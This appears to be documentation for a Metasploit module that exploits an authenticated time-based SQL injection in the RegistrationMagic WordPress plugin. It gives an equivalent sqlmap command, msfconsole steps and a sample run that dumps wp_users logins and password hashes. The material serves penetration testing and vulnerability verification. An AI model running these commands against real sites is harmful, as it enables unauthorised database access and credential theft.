2.8 KiB
2.8 KiB
Vulnerable Application
RegistrationMagic, a WordPress plugin,
prior to 5.0.1.5 is affected by an authenticated SQL injection via the
task_ids[]
parameter.
The plugin can be downloaded here
This module slightly replicates sqlmap running as:
sqlmap -u 'http://<IP>/wp-admin/admin-ajax.php?page=rm_ex_chronos_edit_task&rm_form_id=2' --data="action=rm_chronos_ajax&rm_chronos_ajax_action=duplicate_tasks_batch&task_ids[]=2" -p "task_ids[]" --technique T -T wp_users -C user_login,user_pass --dump --dbms mysql --cookie '<cookie>'
Verification Steps
- Install the plugin, use defaults
- Start msfconsole
- Do:
use auxiliary/scanner/http/wp_registrationmagic_sqli
- Do:
set rhosts [ip]
- Do:
set username [username]
- Do:
set password [password]
- Do:
run
- You should get the users and hashes returned.
Options
ACTION: List Users
This action lists COUNT
users and password hashes.
COUNT
If action List Users
is selected (default), this is the number of users to enumerate.
The larger this list, the more time it will take. Defaults to 1
.
USERNAME
The username to login with. Defaults to ``.
PASSWORD
The password to login with. Defaults to ``.
Scenarios
Registration Magic 5.0.1.5 on Wordpress 5.7.5 on Ubuntu 20.04
[*] Processing registrationmagic.rb for ERB directives.
resource (registrationmagic.rb)> use auxiliary/scanner/http/wp_registrationmagic_sqli
resource (registrationmagic.rb)> set rhosts 1.1.1.1
rhosts => 1.1.1.1
resource (registrationmagic.rb)> set verbose true
verbose => true
resource (registrationmagic.rb)> set username admin
username => admin
resource (registrationmagic.rb)> set password admin
password => admin
resource (registrationmagic.rb)> run
[*] Checking /wp-content/plugins/custom-registration-form-builder-with-submission-manager/readme.txt
[*] Found version 5.0.1.5 in the plugin
[+] Vulnerable version of RegistrationMagic detected
[*] Using formid of: 74
[*] Enumerating Usernames and Password Hashes
[*] {SQLi} Executing (select group_concat(GPc) from (select cast(concat_ws(';',ifnull(user_login,''),ifnull(user_pass,'')) as binary) GPc from wp_users limit 3) PfXJX)
[*] {SQLi} Encoded to (select group_concat(GPc) from (select cast(concat_ws(0x3b,ifnull(user_login,repeat(0xc,0)),ifnull(user_pass,repeat(0x24,0))) as binary) GPc from wp_users limit 3) PfXJX)
[*] {SQLi} Time-based injection: expecting output of length 124
[+] Dumped table contents:
wp_users
========
user_login user_pass
---------- ---------
admin $P$BZlPX7NIx8MYpXokBW2AGsN7i.aUOt0
admin2 $P$BNS2BGBTHmjIgV0nZWxAZtRfq1l19p1
editor $P$BdWSGpy/tzJomNCh30a67oJuBEcW0K/
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed